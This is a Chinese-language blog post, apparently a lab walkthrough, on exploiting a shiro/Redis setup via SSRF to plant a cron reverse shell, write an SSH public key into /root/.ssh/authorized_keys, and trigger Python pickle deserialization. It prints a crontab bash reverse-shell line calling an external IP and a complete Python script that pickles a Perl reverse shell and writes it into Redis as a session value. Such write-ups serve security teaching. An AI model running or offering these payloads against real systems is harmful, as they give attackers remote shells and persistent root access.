自学内容网 自学内容网

网络安全-shire写任务计划、反弹shell、写私钥、反序列化

目录

一、环境

二、 介绍

三、开始做题

 四、写公钥


一、环境

网上自己找

二、 介绍

我们经过前面文章很清楚知道,shiro是将数据存储在内存当中,内存落盘实现一个数据存储,而当其结合python,python将登录的session存储到shiro里面就会造成一个反序列化漏洞

看看环境

登录信息存到session

序列化一个引擎

 序列化存入

那我们就需要反序列化的方式取出

pass:python序列化的两个方法pickle.dumps、pickle.loads 

三、开始做题

很明显的ssrf题目

接下来就是猜目录,但是这个靶场给了我们利用工具

 其实跟我们之前用的工具差不多一样,我们还是一样解码看它干了什么

一模一样正常的反弹shell操作如fiushall等等

攻击机接shell

 反馈是okokok我们等一分钟看看情况

很明显反弹回来了

 所以我们进入docker环境下看看它的任务计划有没有写成功

但是ubentu和centos的反弹不一样

ubentu是写在这个任务计划目录下的,ubentu的反弹并不稳定,因为其中涉及权限不能是644,得是600,第二个邮件服务器,第三个坑点/bin/sh指向dash,而我们反弹shell是bash

总结一下:

补充另一种方法:

*/1 * * * *  bash -c "bash -i  >&/dev/tcp/123.207.x.x/1234 0>&1"

不用修改链接指向,直接在sh下执行bash -c。

 四、写公钥

脚本上是写到/root/.ssh这个目录下authorized_keys这个文件里面

我这里生成一对公钥和私钥

 还是一样用centos去测试,写公钥看一下

 很明显它是写入了

我们直接可以免密登录了 

五、反序列化

我们正常登录可以看到session值

看shiro里面的存储

 我们将其复原一下,很明显是python反序列化的形式

看看主页源码,一开始加载的是login,然后提交给index,之后走到login.html下

 那我们要做的就是写一个恶意的session值写入redies里面去,然后它读出来的时候反序列化,那我们首要任务是先写

我们不能用原有的session,因为创建完后会覆盖回去,我们就改一下尾数

它生成的这个相当于是换行请求 

 但是我在实验的时候发现官方好像把这个换行符给修复了,因为靶场是两年前国外的,所以也算正常

看一下源码吧,它很明确的写出httplib是因为有一个换行符的漏洞所以会造成泄露

 没事,我自己写了一个反序列化的代码,我们看能否写入即可,验证为止

#!/usr/bin/env python

import cPickle
import os
import redis
import base64

class exp(object):
    def __reduce__(self):
        s = """perl -e 'use Socket;$i="192.168.139.138";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
        if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");
        open(STDERR,">&S");exec("/bin/bash -i");};'"""
        return (os.system, (s,))

e = exp()
s = base64.b64encode(cPickle.dumps(e))

r = redis.Redis(host='192.168.139.138', port=6379, db=0)
r.set("session:", s)


原文地址:https://blog.csdn.net/m0_68976043/article/details/142324044

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!